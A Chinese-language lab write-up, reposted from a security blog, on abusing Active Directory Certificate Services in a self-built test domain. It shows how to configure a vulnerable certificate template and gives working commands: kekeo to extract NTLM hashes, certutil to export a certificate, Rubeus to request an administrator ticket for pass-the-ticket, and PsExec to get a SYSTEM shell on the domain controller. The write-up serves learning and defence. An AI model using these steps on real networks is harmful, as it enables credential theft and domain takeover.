目录
前言
环境配置
利用
场景1:获取域用户NTLM凭据
场景2:横向移动-PTT
小结
前言
目的:
通过模拟域渗透的场景学习一下@specterops大佬的ADCS白皮书中关于Active Directory 证书服务相关漏洞的攻击面。
核心:
证书服务发布的部分证书可用于kerberos认证,并且在返回的PAC里面能拿到NTLM hash。
利用:
窃取证书
通过凭据申请可用以Kerberos认证的证书
通过证书窃取用户凭据
环境搭建
新建证书模板
# 打开证书控制台certtmpl.msc

右键复制一个模板,需要注意的新模板属性

兼容性:尽量往高版本兼容
请求处理:允许导出私钥
使用者名称:勾选"在请求中提供"
安全:允许域用户“注册”
扩展:应用程序策略 (存在客户端认证即可)
然后在证书颁发机构新建一个要颁发的证书模板

选择上一步建好的模板,此时环境就算搭好了。
利用
场景1:获取域用户NTLM凭据
# 打开证书管理工具certmgr
“个人” —> "证书" —> 右键申请新证书 —> 证书模板选用“用户”

此时则可以利用kekeo获取当前用户ntlm凭据
tgt::pac /subject:neo /castore:current_user /domain:adcs.lab

场景2:横向移动-PTT
— 这里以域管为例
# 打开证书管理工具certmgr

“个人” —> "证书" —> 右键申请新证书 —> 默认到如图位置

先配置一下

然后最后效果如图即可

先查看本地计算机的证书
certutil -user -store My

然后使用证书的hash将其导出
certutil -user -exportPFX c3573fc44a457fd80daeb9c4b2770a7637b23dc0 ADM.pfx

利用Rubeus请求票证,并将生成的票证用于PTT
Rubeus.exe asktgt /user:administrator /certificate:ADM.pfx /ptt

查看本地缓存的票证
klist

此时已经成功获取域控权限

利用PsExec.exe获得一个system权限的交互式shell
PsExec64.exe -accepteula \\AD02 -s cmd.exe

成功拿下域控。
小结
ps:概念/用词不当的地方还望各位师傅帮忙斧正
参考:
《Active Directory 证书服务攻击与防御(一)》
《Certified Pre-Owned》
文章转载自pen4uin,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。




